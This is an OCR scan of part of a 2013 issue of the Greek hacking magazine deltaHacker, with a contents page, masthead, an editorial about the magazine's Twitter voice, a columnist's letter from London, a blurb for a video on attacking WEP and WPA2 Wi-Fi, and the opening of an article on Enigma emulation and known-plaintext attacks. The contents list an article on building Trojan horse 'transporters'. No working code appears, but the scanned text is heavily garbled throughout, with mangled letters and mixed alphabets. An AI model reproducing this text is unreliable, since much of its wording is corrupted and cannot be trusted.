yer 


b 


-Trojan transporters 


р 


e 


στο МРЗ 
6 middl 


ή 
izin 


ζω 
m 


ny 
ία 


10 


у! 
ΛΜ ” 


E 


based: 


I 


аі fij Ls reversed 


δεν σας άρεσε στη συσκευή σας 


ITE απο O,TI 


κι απαλλαγε 


ΠΞΩΙΣΥΩΙΣΥΝΟ 


εντιτορια 


Όχι και το τόσο τυχαίες σκέψεις, 
σε όχι και τόσο τυχαία σειρά 


σνειλ НЕ! 


О Θείος Ακάκιος γυρίζει την πλάτη στα δισεκατομμύρια 
τουριστών που κατακλύζουν πλαζ και ταβέρνες και 
ταξιδεύει στο Λονδίνο 


e Enigma Reborn, µερος 2 


Μοιραία bugs που “πρέπει” να εξομοιώσουμε 


Χτιστε το ὀικο σας Android ROM! 


Σίγουρα θα υπάρχει κάτι στο λειτουργικό της 4 
συσκευής σας που θέλετε να αλλάξετε, ότσι δεν εἶναι; 


AvaGooyovrorse το αγαπημενο 4 
σας МРЗ Р!ауег | 


Δεν υπερβάλλουμε: To Rockbox µπορεί να rou 
δώσει νέα πνοή ζωής, αρκεί να το θελήσετε 


Μελετη και κατασκευη Δουρειων Innov, 
μέρος 2 


] ] ] 4 
Συγγραφή προγράµµατος που δημιουργεί ‚ 4 4 
μεταφορείς για Trojan horses! 


Οἱ πανισχυρες κανονικες εκφρασεις, 
μέρος 2 


Γνωρίζουμε νέες όψεις των regular expressions 
που µας επιτρέπουν να συντάσσουµμε ακόµα πιο 
αφηρημένες εκφράσεις 


ΒΑΛΤΕ (ακόµα περισσότερο) 

ноало στον ανεμιστήρα, 

μέρος 2 

Ολοκληρώνουμε την κατασκευή µας προσθέτοντας έλεγ- 

χο στροφών από τον υπολογιστή και ικανότητα λήψεως 
μετρήσεων από το περιβάλλον 


OpenBSD για µια lean, mean, 


anonymizing machine! 


Κ.Α i Πώς δημιουργούμε ένα Tor middlebox βασισμένο στο 
OpenBSD, για την παροχή απόλυτης ανωνυμίας σε 
όλους τους υπολογιστές ενός LAN 


Εκδότης / Διευθυντής Χρήστος Βαρελάς 

Αρχισυντάκτης Παναγιώτης Βαρελάς 

Σύμβουλοι ἐκδοσης Νίκος Μουρατίδης, Βούλα Παυλίδου 

Σύνταξη Παναγιώτης Βαρελάς, Χρήστος Βαρελάς, Ανδρέας 


Βενιέρης, Γιώργος Γιάννου, Μανώλης Κιαγιάς, Ιωάννης 
Κονιάρης, Πέτρος Κυλαδίτης, Γιώργος Μελέκος, Νίκος 
Μουρατίδης, Νικόλαος Σηφάκης, Μέσος Παπαδόπουλος 
(TM), Χρίστος Τόμπρας 


Γραμματικἠ επιμέλεια Βούλα Παυλίδου 


Καλλιτεχνική Επιμέλεια Πέτρος Φιλιππίδης 


Το ηλεκτρονικὀ περιοδικὀ deltaHacker εἶναι συνδρομητικὀ και εκδίδεται апо την Para- 
bing Creations δώδεκα φορὲς το χρόνο, κάθε μήνα. Н Parabing Creations έχει την ἑδρα 
της στη Μαιώτιδος 3, 55133, Καλαμαριά. О δικτυακός τόπος του περιοδικού εἶναι στο 
http://deltahacker.gr. Το email επικοινωνίας εἶναι το ќаік205@аеіќаһаскегдг και ειδικἁ 
για τις συνδρομές εἶναι το subscriptions deltahacker.gr. Οι γενικὲς πληροφορίες για τις 
συνδρομές παρατίθενται στο http://deltahacker.gr/subscriptions και οι ἰδιες οι παραγγελίες 
γίνονται апо το http://deltahacker.gr/pdfi2order. Όλες οι απὀψεις που εκφράζονται στα 
άρθρα δεν εκφράζουν апараітпта και τη γνώμη του περιοδικού. 


(*) Γνωρίστε και αγαπήστε (χωρίς ντροπές) то OpenBSD 
http://deltahacker.gr/deltacast-s01e10 
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Στη 2η χρονιά και συνεχίζουµε ακάθεκτοι! 
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Μηνιαίο περιοδικό deltaHacker, http://deltahacker.gr 


Ethical Hacking / Δίκτυα / Ασφάλεια / Προγραμματισμός / Ηλεκτρονικά 


€ twitter.com/deltaHacker 


f 


Για ἄλλο Өёна ἐλεγα αρχικά να γράψω, τελικἀ εντελώς διαφορετικἀ ζητήματα θα 
περικυκλώσω. Ναι, τέτοιος εἶμαι, αλλά στην τελικἠ εἶναι καλοκαῖρι και μπορούμε 
να κάνουμε ὁ,τι θέλουμε (σχεδὀν). 


by subZraw 


Na ξέρετε πως λέμε ενθουσιωδώς «ναι» στη θερινἠ χαλαρότητα, ὁμως µη νομίζετε ότι 
δεν εἰμαστε και карүа απασχολημένοι µε σχεδιασμούς για το ερχόμενο φθινόπωρο-προς- 
χειμώνα. Αφορούν σε ша απόφαση που έχουμε ἠδη паре! και σχεδὸν κανεὶς δεν θα μαντέψει, 
αλλά παρακαλούμε µη µας ρωτήσετε σχετικἁ αφού eni του παρὀντος αδυνατούμε να πούμε 
περισσότερα. Пара λοιπὀν τα ελαφρώς µεγαλεπίβολα σχἑδιἁ µας για το μέλλον της Para- 
і bing Creations, της µικρής, ανεξάρτητης εκδοτικἠς nioo апо ro deltaHacker, µη νομίζετε, 
δεν βιαζὀόµαστε va διώξουμε το καλοκαίρι. Ίσα іса που προσπαθούμε va ro απολαμβάνουμε 
μέρα µε τη μέρα, παρὰ την αλλεργἱα που κάποιοι апо εμάς ἐχουμε στη Ζέστα (ТМ). 


Χαλαρότητα, που λέτε, σηµαίνει μεταξὺ ἄλλων να µην κολλάς σε µια απὀφαση που 
εἶχες πάρει μερικὲς μέρες πριν — ἡ τουλάχιστον έτσι νόμιζες. Παράδειγμα: Με acopur| 
συζήτηση nou εἰχε ξεκινήσει στο Twitter, σκεφτόμουν να γράψω για τον πρέποντα ρὀλο 
ενὸς λογαριασμού nou αντιστοιχεὶ σε προϊόν — µε την ευρεία £vvoia. Πιο συγκεκριµένα, 
ο εξαιρετικἁ ασήµαντος προβληματισμός αφορούσε στο αν το QdeltaHacker, στο Twitter, 
πρέπει να γίνει πιο τυπικὀ και πιο αυστηρά «δεμένο» µε το προϊόν (το περιοδικὀ) ἡ апла va 
συνεχίσει στο πιο χαλαρὀ, ὁπως δηλαδή ἦταν πάντα, ακόµη κι апо τις εποχὲς του προγόνου 
του. 


Αφορμήγια тоу προβληματισμό ἦταν µια 5«ρ8πι-ο-πλημμύρα oTo TL, η οποία κράτησεγια -.. 
μέρες και εἶχε δύο βασικούς πρωταγωνιστές. О ἑνας ἦταν апо εκεϊνους τους δηµοσιογραφο- 
αστἑρες που μάχονται αδιάκοπα για την ελευθερία, yia µια δικαιότερη ελεύθερη αγορά, για 
την ἐλευση του σοσιαλισμού και γενικἁ για οτιδήποτε ωραίο, καθάριο και δίκαιο, ενώ την 
ἴδια στιγμἠ κάθε µήνα πουλάνε στο περίπτερο νέες αποκαλύψεις, ξεσκεπάζουν καινούργια | 
σκάνδαλα και στηλιτεύουν πρόσωπα και καταστάσεις апо τον δημόσιο βίο. О ἄλλος 
πρωταγωνιστἠς ἦταν ἑνας τύπος nou για να πω την αλήθεια δεν έχω καταλάβει τι ρόλο ἐχει 
— χωρίς αυτό να σηµαίνει ὁτι πιστεύω πως ὁλοι πρέπει σώνει και кала να "χουμε κάποιον 
ρόλο. Αυτό πάντως που *£xo* καταλάβει εἶναι ὁτι ανήκει στο λεγόμενο Βαθύ Twitter (ТМ), 
εἶναι κι αυτὸς πολὺ δημοφιλἠς (µε τον τρόπο του) και γενικἀ όταν προκαλείται ἡ (θεωρεὶ 
ότι) αδικείται μεταμορφώνεται σε μαινόμενη γλωσσοκοπάνα, апо αυτὲς που κάθε ἄλλη 
γλωσσοκοπάνα τρέμει και υποκλίνεται μπροστὰ της µε δέος. Στην εκρηκτικἠ κατάσταση 
που εἶχε δημιουργηθεἰ μεταξύ των δύο εκτοξεύονταν κατηγορἱες yia ρουφιανιὲς, διπλἀ ac- 
counts στο Twitter, αθέµιτες τακτικὲς κι ἄλλα τέτοια χαριτωμένα. 


1. Ὅπου «ζέστα» σημαίνει θερμοκρασία апо 75,2 βαθμούς Φαρενάιτ και πάνω. 


Θα µου πεῖτε, тора, πως отау кайт! δεν µας αρέσει στο Twitter υπάρχει κι αυτό το unfol- 
low. Πράγματι, μόνο που τυχαίνει να εἶμαι апо τους µη unfollow-happy χρήστες. Αντἰ λοιπὀν 
για unfollow κάποια στιγμή έριξα апла µια µπηχτή, την onoia κανεὶς φυσικἀ δεν πρὀσεξε 
εκτὸς απὀ τον φίλο µου τον QGarkoudos, ο οποίος επιχείρησε ν΄ ανοίξει συζήτηση eni του 
θέματος µέσω DM. Αν θυμάμαι кала, πρέπει va του eina ὁτι ειλικρινά δεν ξέρω τι ἐχει 
παιχτεί μεταξύ των πρωταγωνιστών της 5ραπι-ο-πλημμύρας. Πα την ακρίβεια, δεν рпоро 
να φανταστώ κἀποιον που να νοιάζεται λιγότερο να μάθει για то т! праүнат!ка EIXE παιχτεί. 
Εγώ απλά έβλεπα το TL µου να ασφυκτιά апо tweets εκκωφαντικἠς ασηµαντότητας, αφού 
τέλος πάντων ἄλλα πράγματα θεωρώ σηµαντικἀ, έχουν σχέση µε την καθημερινότητα και 
τη ζωή µου κι αναμενόμενα μ’ απασχολούν2. Μολαταύτα, ως πειραχτήρι nou εἶμαι εἶπα ν΄ 
αμολήσω κι εγώ τη µπηχτἠ µου. Τίποτε ἆλλο, ὁμως. Δεν µε ενδιέφερε αν τα ξεκατινιάσµατα 
που έβλεπα εἶχαν κάποια βάση, οὐτε ἠθελα µε αφορμὴ αυτά va συζητήσω περὶ ελευθερἰας 
του λόγου ἡ για το τι επιτρέπεται να κάνει ἑνας δημοσιογράφος που αναζητά, υποτίθεται, 
| την αλήθεια και тра το λειτοὐργημὰ του (rj µπορεί και όχι). 


Και κάπου εκεί, о @arkoudos μού εἰπε ὁτι καλώς δεν παρενέβην, αφού δεν θα ἦταν np£nov 
για το account του QdeltaHacker. Ένας yAóunog τότε ἄναψε πάνω απὀ το кєфал! µου! 
Σε γενικὲς γραμμές, ο Qarkoudos εἶχε δίκιο. Απὀ την ἄλλη, όμως, ro account του @del- 
taHacker ποτὲ δεν διακρινόταν апо την αυστηρότητα και την τυπικὀτητα που χαρακτηρίζει 
τα «προϊοντικά» accounts. Tou εἶπα, λοιπὀν, бт! µου έδωσε ша καλἠ ιδέα για το editorial 
του επόμενου τεύχους — αυτό nou τώρα διαβάζετε. To κεντρικὀ του θέμα θα βασιζόταν στο 
ακόλουθο ερώτημα: Επιτρέπεται ἑνας προϊοντικὸς λογαριασμὸς να *unv* εἶναι αυστηρά 
τυπικὀς; Ακόμα καλύτερα: Εἶναι καλὸ για vav προϊοντικὀ λογαριασμὸ να *unv* εἶναι 
= 4 αυστηρά τυπικός; 


оа 
—— Αλλά, ξέρετε κάτι Πέρασαν βδομάδες anó τότε, εἶναι καλοκαιράκι και κάποιοι 
προσπαθούμε να εἶμαστε ҳалароі. Εγὠ τουλάχιστον έχασα kai то αρχικὀ ενδιαφἐρον eni του 
——— --- θέματος, οπὀτε τώρα µέσα στο μυαλό µου έχει υποβαθμιστεί στο επἰπεδο του «εξαιρετικά 


-— — 
= __ “Т αδιάφορο» και βαριέμαι va ro αναπτύξω. Στην τελικἠ, ας εἶναι ὁ,τι θέλει To account του Ὁ 
= — . deltaHacker. Eire ἐτσι cite αλλιώς, το σύμπαν εἶναι τόσο αδιάφορο eni του θέματος, που 

—  — NN 


πραγματικἁ χρειάζεται у” ανακαλυφθούν νέοι φυσικοὶ νόμοι προκειμένου va περιγραφεἰ 
--Προσεγγιστικά-- o προαναφερθεἰς βαθμὀς αδιαφορίας. 


= Εμάς, £60 στην Parabing Creations, ἄλλα πράγματα µας απασχολούν αυτόν τον καιρὀ, 
$&- αγαπητὲς φίλες κι ayannroi φίλοι. Παράδειγμα: Ποια εἶναι η καλύτερη opa για παραλία, 
τις μέρες που τέλος πάντων εἰμαστε κοντὰ σε παραλία; Άλλο: Εἶναι ικανό ro Google Nex- 
|. us 7, που παρουσιάστηκε просфаота, να κερδίσει την προσοχή ενός πιστού φίλου του 
iOS; Επίσης: Пат! δεν nivei περισσότερος κόσμος νερὀ στ’ ὀνομα rou OpenBSD, όπως 
ἐχει αρχίσει να πίνει тора τελευταία ο γράφων; Αυτά κι ἄλλα παρόμοια προβληματίζουν 
την ασημαντὀτητἁ µας, το καλοκαῖρι τούτο. Εντάξει, υπάρχουν κι ἄλλα, ὁμως εἶναι νωρἰς 
για να μιλάμε γι’ αυτά. Αλήθεια, εσάς τι σας απασχολεἰ τελευταίως; Έχετε μήπως κάποια | 
ἀποψη πάνω στα προηγούμενα; Εντάξει, λογικά επικεντρὠνετε το ενδιαφἑρον σας σε ἄλλα 
θέματα, αν όμως θέλετε να τα μοιραστείτε μαζὶ µας, va то ξέρετε: Κι αυτό το καλοκαιράκι 
εἰμαστε εδώ, να τα λέμε, χαλαρά κι ωραία -- κι ανεξάρτητα апо την τρέχουσα γεωγραφικἠ 
μας θέση”. 


Καλὰ να περνάτε, опоо κι αν εἶστε, ὁ,τι κι αν κάνετε! 


2. Μην пає το μυαλό σας μακρυά, μιλάω για πράγματα που λίγο πολύ (πλέον, κυρίως «noAU») απασχολούν όλους µας. 
3. Εντὸςτου Ελλαδικού χώρου -- η Ισλανδία θα χρειαστεί να περιμένει κι ἀλλο... 


қ; 


σνένλ. рел. 


Αγαπητοί µου, 


Λεντέρα του μηνού (Ιουλίου) σήμερα, κάν,σαξ γράφω καθισμένος ανάµε- 
σα σε κλειστές κούτες, ανοιχτές κούτες, μνριάδες τάβλες καν ράφια προς 
συναρμολόγηση, μισοσκισμένα χαρτόνια σύσκενασίας του ΙΚΕΑ, βίδες, πα- 
ξιµάδια, καλώδια USB, αυτόματα κατσαβίδνα, τρυπάννα µμπλαν-εν-ντέκερ, 
οθόνες υπολογιστή, πολύπριζα. 


Σε ένα τραπεζάκι φορητού υπολογιστή (καν αυτό από το IKEA) έχω το- 
ποθετήσει την γραφομηχανή, καν προσπαθώ να συγκεντρωθώ για να σας 
γράφω. 

O καιρός είναι συννεφιασµένος («Πάλι!», είχε αναφωνήσεν νωρίτερα ο 
ανιώνός), αλλά τουλάχιστον δεν κάνει κρύο. Δροσούλα κάνει, λες καν ἧρθα- 
νε τα πρωτοβρόχια, µόνο που στο Λονδίνο που βρισκόμαστε, 2 Ιουλίου, η 
δροσούλα και τα σύννεφα δεν σηματοδοτούν τόσο την έλευση του φθινοπώ- 
ρου όσο το καλοκαίρν στα μεγάλα του κέφια. 


O καθένας µας είναν υπόλογος για τις επιλογές του, πάντως, οπότε δεν 
παραπονιέµαν. Σας τα Ύραφα άλλωστε αυτά καν την περασμένη --όχν, την 
προπερασµένη-- φορά: Στο επίπεδο της πράξης o καθένας µας είναι --δεν 
µπορεί παρά να εἰναι-- ελεύθερος. 

Kv εγώ ελεύθερος ἡμουν να αποφασίσω αν ήθελα να ταξιδέφω καλοκαν- 
ριάτικα µε την εξαδέλφη και την Μαυρούλα για να έρθουμε Λονδίνο, όπου 
ένας παννκόβλητος ανιφινός προσπαθούσε να συμμαζέφει τα λιγοστά του (1) 
υπάρχοντα εν όφεν της µετακόμισής του σε άλλο σπίτν. 

Ἐλεύθερος τόσο να το αποφασίσω όσο και να µην το αποφασίσω. 

Για να µας δελεάσει (ο ανιφιός) µας έλεγε πως το σπίτι εἶναι µεγαλύτερο 
καν σε καλύτερη περνοχή, πιο κοντά στο κέντρο --ακόμα µε ξυπνάεν τις 
νύχτες η σκυταλοδρομία µέσων μεταφοράς που έπρεπε να κάνουμε για να 
προσεγγίσουμε το παλιό του σπίτι-- καν, πράγματν, αντό πον βλέπω από το 
παράθυρο δείχνει να τον επιβεβαιώνει. 


Н καλύτερη τοποθεσία του νέου διαμερίσματος, όμως, δεν civar o βασι- 
XÓG λόγος που τελικά το αποφάσισα να φύγω олбо τη Γαλανή Βκείνη Χώρα 
(ТМ) Τούλνο μήνα. Οὔτε τα δισεκατομμύρια των τουριστών που θα καταχλύ- 
σουν τις πλαζ καν τις ταβέρνες καν θα µετατρέφουν µε το ζεστό τους συ- 
νάλλαγμα το δημοσιονομικό µας έλλειμμα σε πλεόνασμα ev µία νύκτα. 

Έφνγα γιατί ένονωσα бт έφτασε η στιγµή να φύγω. Έστω για λίγο. Kov- 
ράστηκα. Πρέπει v' ανασάνω. 

Με κούρασαν ov συναυλίες συμπαράστασης” µε κούρασαν τα επιχειρήµατα 
της κακιάς ώρας καν ον κραυγές” µε αποκάµωσαν ον επανεκκυνήσεις καν ον 
HPOL εμπιστοσύνης” μπούχτισα алб τους αγωγούς αερίου και τις χιλιάδες 
θέσεις εργασίας’ µε τσάκισαν ον διευκρινιστικές εγκύμλιον καν ον προθε- 
σμίες” µε εξουθένωσαν τα φουσκωμένα καν µισαλλόδοξα παραληρήματα” µε 
καταρράκωσαν τα µέλη του ποινοβουλίου µε το ξυρυσμένο πεφάλιν καν το 
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κενό βλέμμα” λύγισα απὀ τις ριπές εξωραϊσμένης αφέλειας και ξερολισμού” 
αναγούλνασα απὀ τις νηφάλιες και καλοπροαίρετες αοριστίες. 


Μπαΐλντισα, που θα έλεγε η μητέρα της εξαδέλφης. 


Την οποία μητέρα της εξαδέλφης την έχουµε αφήσει στο Πόρτο Γερμενό, 
παρέα µε την Κυρία Καίτη και τα τζιντζίκια. 

Πρέπεν να παραδεχτώ ÓtTv τα τζιτζίχια παραμένουν ένα απὀ τα λίγα 
πράγματα πον μπορούν ακόµα να µε κρατήσουν στη Γαλανή Εκείνη Χώρα 
(ТМ). Την Κυριακή που περάσαμε ало Πόρτο Γερμενό για φαγητό ха, για να 
χαιρετίσουµε, κόντεφαν να µε κάνουν να αλλάξω γνώμη. Αλλά είπαμε, χου- 
ράστηκα, καν έπρεπε να φύγω. 

«Μην τα ισοπεδώνεις όλα», ήταν το σχόλιο της μητέρας της εξαδέλφης, 
ἔτσι, καθισµένον στο Κυριακάτικο, αποχαιρετιστήρινο τραπέζι που ήμασταν. 
«Δεν είναι όλα τόσο μαύρα όσο τα λες. Н χώρα έχει περάσει καν χειρότερα. 
EXEL περάσει κατοχές. Έχει περάσει εμφύλνους.» 


«Nav», συμφώνησε η Κυρία Καίτη. 
«Κοντάξτε, δεν ξέρω αν έχεν περάσει και χενρότερα. Μπορεί πράγματι 


ναν. Ауто που ξέρω εἶναι ÓTL εδώ που έχουµε φτάσει εγώ --Χεγώξ, όχι нб 
πονος άλλος-- δεν μπορώ να φανταστώ κάτι χειρότερο και, επιπλέον, εγώ 
=-%Еүш-- δεν βλέπω φως. Δεν ξέρω πού να στραφώ. Αυτή είναν η διαφορά 


µε παλιότερα.» 


«Κάνεις λάθος», επέµεινε η μητέρα της εξαδέλφης που civar Ινδουίστρνα. 
«Ποτέ κανείς δεν ξέρει πού να στραφεί. Ποτέ δεν ξέρεις πώς θα εξελιχτούν 
τα πράγματα. To ήξερε, δηλαδή, o κόσμος τότε που ερημώνονταν χωριά, 
επενδή ον μισοί κατέβαιναν Αθήνα καν άλλον μισοί φεύγανε για μετανάστες 
στη Γερμανία, ήξερε ο κόσμος бт, µετά από σαράντα, πενήντα χρόνια θα 
πληρώναμε τον καφέ µας µε ευρώσ» 

«Τώρα αυτό yla καλό του το A&G$» την ρώτησε η Κυρία Καίτη μ' ένα πο- 
νεμένο χαμόγελο. 

«А, µην αρχίζεις Xv εσύ µε το ευρώ. Δεν φταίει το ευρώ. Δεν φταίει κα- 
θόλου το ευρώ. Εμείς φταίμε. Απλά είναν εκεί, καν µας εμποδίζεν να κάνουμε 
κουτοπονηριές όπως παλιά.» 


«ΟΚ, OK, σ' αυτό συμφωνώ», είπα εγώ. «Κι αυτό εἶναι το θέμα μου. Γν 
αυτό καν λέω πως δεν ξέρω πού να στραφώ.» 

«Να φέρω το καρπούζι να δροσιστούµε;», παρενέβη στην συζήτηση η εξα- 
δέλφη. «Το πήραμε το πρωί περνώντας ало Biia.» 
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OVE e ре, 
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Καν, ναι, αρχίσαν όλον να επνκροτούν. 

Πιάσαμε, λονπόν, το καρπούζι καν αφήσαμε την συζήτηση. 

(BIW: To παραδέχομαι. To καρπούζι, αν είναι καλό, εἶναι ένα ακόμα από 
τα πράγματα που μπορούν να µε πρατήσουν στην Галом Εκείνη Χώρα (TM).) 

E κουβέντα µας, όμως, μού 'μεινε. Δεν ξέρω αν το συνειδητοπονεί η un- 
τέρα της εξαδέλφης, αλλά αυτό πον έλεγε δεν διαφέρει καν πολύ απὀ αυτό 
που σας γράφω εδώ καν καιρό. Στην ουσία συμφωνώ μαζί της. 

θα θυμάστε, ἴσως, εκείνα που σας έγραφα στην περασμένη µου επιστολή. 
То ζουμί. 

«Στην ανθρώπινη γλώσσα», έγραφα, «η διάκριση επιπέδου / µετα- 
Επιπέδου civari τετριμμένη, trivial, µη- αυστηρή. Οποναδήποτε πρόταση 
διατυπωµένη σε ένα албо αυτά τα επίπεδα αναπόφευµτα διαχέεται στο άλλο, 
καν µε κάνει να πέφτω στη λούμπα της PN διάκρισης επνπέδων.» 

Με άλλα λόγια, η γλώσσα που μιλάμε µας δελεάζεν, λες, να πέσουµε στη 
λούμπα. 


AUTÓ νομίζω εννοούσε καν η μητέρα της εξαδέλφης. H είσαν στο καζάνν 
καν βράζεις, ἡ **6ev εἴσαν στο καζάνι καν #бву% βράζεις. Τελεία καν παύ- 
λα. λεν γίνονταν και τα δύο ταυτόχρονα. 

Εγώ, αυτή τη στιγµή, Ψείμανᾶ στο καζάνι καν βράζω. Ги αυτό καν µε 
πιάνεν απελπισία που δεν βλέπω φως. Άλλο όµως να µε πιάνεν απελπισία, καν 
άλλο να νομίζω бт, στο παρελθόν ον άνθρωπον μπορούσαν να δουν φως. Αν 
προσπαθήσω να μιλήσω έτσι για το παρελθόν, έχω αρχίσει να σκέφτομαι 
νστορικά --καν αυτομάτως έχω πάφεν να єнє στο παζάνν. Έχω πάφεν να 
βράζω. 

Αυτό ήταν το βασικό δίδαγμα της «φιλοσοφίας της Ιστορίας» του Χέ- 
Υκελ, την οποία ο Γερμανός φιλόσοφος διατύπωσε στις αρχές του 19ου ανώ- 
να. Ον λεπτομέρειες --τα πρόσωπα, ον χρονολογίες, τα γεγονότα-- үка. τον 
Χέγκελ δεν έχουν σημασία. Σημασία έχεν η εσωτερική λογική της Ἱστορίας, 

η οποία αναδύεται σε άλλο επίπεδο олбо αυτό στο οποίο βρίσκονται ον áv- 
θρωπον που συμμετέχουν στα ιστορικά γεγονότα. 

Τη συγκεκριμένη ιδέα την πήρε και o Μαρξ, μαθητής του Χέγκελ, καν áp- 
χισε να µιλάεν γνα ιστορικές νοµοτέλενες καν τέτοια. Αλλά αυτό εἶναι άλλο 
θέµα. 

Αυτό που εγώ προσπαθώ τόσον καιρό να σας πω, αγαπητοί µου, δεν έχεν 
να πάνεν µε το αν о Χέγκελ ἡ ο Μαρξ έχουν δίκιο ή άδικο. Έχει µόνο να x&- 
VEL µε το πόσο εύκολο είναν να πέσεις στη λούμπα και να νομίσεις ότι κα- 
τανοείς την εσωτερική λογική των γεγονότων στα οποία συμμετέχεις, ενώ, 
φευ, τίποτα δεν πατανοείς. 

Απλά παραμυθνάζεσαι καν νομίζεις ότι σε Φεκάζουν καν ότι η Μέρκελ, το 
ANT καν το Μεγάλο Κεφάλαιο (TM) έχουν κάτι προσωπικό εναντίον σου. 

OXox^npüvo µε PLAV άσχετη προτροπή που θα φαντάσεν ουρανοκατέβατη. 
Ἠπντρέφτε µου, όμως, γνατί οὔτε ουρανοκατέβατη είναι οὔτε άσχετη. 

Αγαπητοί µου: Αν θέλετε να καταλάβετε ιστορία, µελετήστε Τολστόν. 


Αν θέλετε να καταλάβετε ιστορία µελετήστε τον Πόλεμο καν Ειρήνη. Ενδι- 
xá τον Τέταρτο Τόμο. 


Μελετήστε τον ακόµα κι αν δεν θέλετε να καταλάβετε ιστορία. 


Do yourselves a favour, που λένε και ον φίλου µας ον Άγγλοι. 


Σας ασπάζομαν, 
θείος Ακάκιος 


σπα 
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к= deltaCast «01609 | WiFi Attacks 


Posted by 04/07/2013, 19:47 | Published in 


Εξαπολύουμε δύο επιθέσεις σε ασύρματα δίκτυα, τη µία 
φορά στοχεύοντας το αδύναμο WEP και την ἄλλη το 
ΤΉΝ IOPO WPA2. Ὑπό ποίες προὐποθέσεις ξεπερνιέται η 
ασφάλεια που παρέχει το WPA2; 


Εδώ και χρόνια έχει αποδειχθεί ότι το МЕР είναι αδύναμο κι ευπαθές, Κι όµως, πολλά 
ασύρματα δίκτυα το χρησιμοποιούν ακόμη. Iro 9o επεισόδιο της 1ης σεζόν του 
deltaCast, δείχνουμε πόσο εύκολα ακυρώνεται n προστασία" του WEP εξαπολύοντας µια 
επίθεση σε δικό µας ασύρματο δίκτυο. Στη συνέχεια στρέφουμε την προσοχή µας στο 
\ εξαιρετικά ασφαλές WPA2, τον απόγονο του МЕР поо κάθε wireless router κι access point 
ТЕ \ ч ? πρέπει να χρηαιμοτιοιεί. Μια επίθεση κατά του WPA? πιθανότατα θα αποτύχει, av και όχι 
ποστ 7 0212013.2230 ас δώσουμε ον МЧ т suc аатта баас 0108 γε λος τις λεπτομέροος ssa ψεσνά τις σχπυᾶς 
νι z ομε. θα σσ i xin επιδείξεις, 
panoa VY dvi 
To επεισόδιο µπορείτε va το παρακολουθήσετε απευθείας εδώ ἡ 
και va το δείτε αργότερα. 


Σπόνσορες rou deltaCast είστε εσείς. οἱ συνδροµητές του μηνιαίου περιοδικο! 
deltaHacker. Το περιοδικό εἶναι πλέον αποκλειστικά ηλεκτρονικό και ισχύουν νέες, ак 
χαμηλότερες τιµές. Αν σας αρέσει η δουλειά µας βοηθήστε µας να τη συνεχίζουμε ur 
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Πλήρη άρθρα που συμπληρώνουν το περιοδικό [addenda]. To video 
podcast [netcasting > deltaCast]. Άρθρα που µας ήρθε να γρά- 
poupe, έτσι, απλά [/dev/random]. Τα προκλητικά mind hacks. 
Τα βίντεο από τα προηγούμενα live streams [netcasting > 
deltaStream]. Ολόκληρα blasts from the past [bftp]. Τα πάντα 
ενδιαφέροντα forums. To σηµείο συνάντησης για τους φίλους του 
περιοδικού. 
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The Enigma Reborn - Μέρος 2ο: Μοιραία bugs! 


Στο προηγούμενο άρθρο µας, στο deltaHacker 021, ξεκινήσαμε την 
εξομοίωση της θρυλικἠς ηλεκτρομηχανικἠς συσκευἠς κρυπτογράφησης 
Enigma, κάνοντας την πρώτη µας απὀπειρα yia την απλούστερη 
υλοποίηση: Μια µηχανἠ µε £vav póropa ki £vav ανακλαστήρα 
— бє Python, φυσικὰ! 


igma Reborn - Mépoc 20: Ποιραία bugs! 
LLLI 


Ἡδη апо rnv πρώτη αυτή υλοποίηση διαπιστώσαμε éva σοβαρὀ μειονέκτημα της 
μηχανής, ro οποίο, σας διαβεβαιώνουμε, δεν διορθώνεται ὁσους ρὀτορες και av 
βάλετε: ἑνα γράμμα δεν κρυπτογραφεἰται ποτὲ στον εαυτὀ του! Ίσως φαίνεται Às- 
πτομέρεια, όμως κάποιες τέτοιες φαινομενικά ασήμαντες διαπιστώσεις προκαλούν 
τελικά την κατάρρευση των καλύτερων συστημάτων κρυπτογράφησης. 


Καλό θα ἦταν λοιπὸν να δούμε: 


ο [iari συμβαίνει το παραπάνω; Пат! η μηχανή µας --κι ευτυχώς, Ох! µόνο η δικιά 
μας-- εἶναι ανίκανη va αντιστοιχἰσει μερικὲς φορὲς το «А» στον εαυτὸ TOU; 


ο [loc μπορεἰ κἄποιος να επιτεθεἰ στην Enigma, γνωρίζοντας το παραπάνω =Лат- 
тора; 


Ау παρακολουθήσατε ra video του numberphile nou σας προτείναμε (και σιγἁ nou 
δεν τα παρακολουθήσατε δηλαδή, апо `w βλέπω τα κὀκκινα апо το ξενύχτι μάτια 
σας), θα εἰδατε τον τρόπο µε τον οποίο ξεκινά η επίθεση oro Enigma: Πρέπει να 
γνωρίζουμε ἡ να μπορούμε να υποθέσουμε ἑνα μικρὸ κομμάτι cleartext που peraói- 
δεται. Μα, θα µου πείτε, αν γνωρίζουμε ro cleartext, yiari να μπούμε στη διαδικασία 
της αποκρυπτογράφησης. Προσέξτε, δεν χρειάζεται να γνωρίζουμε ὁλο το cleartext! 


Σε ἑνα κρυπτογραφημένο μήνυμα, σχεδὀν μοιραίο εἶναι ότι θα υπάρχει va κομμάτι 
τυποποιημένου, προβλέψιµου κειµένου, ro οποίο θα βρίσκεται µέσα του. Δεν ξἐρου- 
µε πού, αλλά μπορούμε µε ασφάλεια να πούμε бт! θα υπάρχει σε κάθε μήνυμα και 
θα εἶναι κρυπτογραφημένο µε τον iio ακριβώς τρόπο (µε τις ἰδιες ρυθμίσεις) όπως 
και το υπόλοιπο σημαντικὀ κείμενο. Πα παράδειγµα, στην επικοινωνία rov leppa- 
vov µε τα υποβρύχιά τους εἶναι αναμενόμενο να βρούμε σε κἆθε μήνυμα τη φράση 
«HEILHITLER». Ἡ ἰσως το πρωινό τους μήνυμα να περιἐχει το δελτίο καιρού, οπὀτε 
ψάχνουμε τη λέξη «WETTERBERICHT». 


Αν θέλετε να μεταφέρετε το παραπάνω στη σύγχρονη εποχἠ, ας υποθέσουμε бт! 
έχετε φτιάξει µια σύγχρονη μηχανὴ Enigma για να στέλνετε κρυπτογραφημένες 
εικὀνες JPG. Oa ra nnyaivare ша χαρά, αλλά μάλλον θα πρέπει να συνειδητοποιή- 
σετε ὁτι κάθε εικὀνα JPG ἐχει µια τυποποιημένη επικεφαλἰδα (header): Αν κάποιος 
ενδιάµεσος (κακὀβουλος) χρήστης pE! ὁτι μεταδίδετε εικὀνες, µπορεί να ξεκινήσει 
ψάχνοντας για το κλειδὶ σας μέσα στο header: ξέρει το cleartext! 


Στα μηνύματα όμως που στέλνονταν µε ro Enigma ката τη διάρκεια του πολέμου, 
